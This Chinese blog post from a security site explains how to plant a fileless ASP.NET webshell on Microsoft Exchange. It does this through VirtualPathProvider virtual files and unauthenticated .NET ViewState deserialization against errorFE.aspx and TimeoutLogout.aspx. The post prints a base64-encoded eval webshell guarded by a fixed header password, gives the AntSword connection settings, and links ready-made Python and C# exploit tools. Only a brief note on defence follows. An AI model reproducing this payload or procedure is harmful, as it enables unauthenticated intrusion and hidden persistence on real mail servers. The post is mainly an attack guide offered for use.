渗透技巧——利用虚拟文件隐藏ASP.NET Webshell - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

渗透技巧——利用虚拟文件隐藏ASP.NET Webshell

3gstudent 技术 2021-05-09 09:25:22
261970
收藏

导语:本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。

0x00 前言

通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.netGhostWebShell.cs提供了一种可供学习的利用思路。

本文将要介绍虚拟文件的利用方法,在ysoserial.netGhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· VirtualPathProvider在Exchange下的利用

· DotNet反序列化在Exchange下的利用

· 防御检测

0x02 VirtualPathProvider在Exchange下的利用

参考资料:

https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建

示例代码:

1.png

image.png

通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够。

而利用ysoserial.netGhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。

0x03 DotNet反序列化的利用

参考代码:

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

测试环境:

image.png

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据。

这里选择%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx,对应的generator为042A94E8

使用ysoserial.net生成ViewState的参数如下:

image.png

使用如下代码发送ViewState:

1.pngimage.png

一句话的测试代码:

image.png

使用AntSword连接时,需要设置HTTP HEADERS,内容如下:

Name:  Value
Value: 00HGAT3K0AXHV2RF2W0G

Base64后的字符为:

PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

替换GhostWebShell.cs中的webshellContentsBase64。

完整的Python实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ExchangeDeserializeShell-NoAuth-ghostfile.py

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx,能够自动生成带有Webshell功能的GhostWebShell.cs,使用ysoserial.net生成ViewState并发送。

完整的C#实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ghostfile.cs

代码功能同上,可直接编译并执行,不再依赖ysoserial.net

注:

为了便于在Exchange下进行测试,我将GhostWebShell.cs修改成了aspx文件,可以直接访问进行测试,代码地址如下:

https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx

0x04 防御检测

利用虚拟文件创建的ASP.NET Webshell,不再需要写入aspx文件,在防御上可监控临时目录下产生的编译文件,默认位置:

image.png

需要注意的是攻击者在产生编译文件后可以进行删除。

0x05 小结

本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。

本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务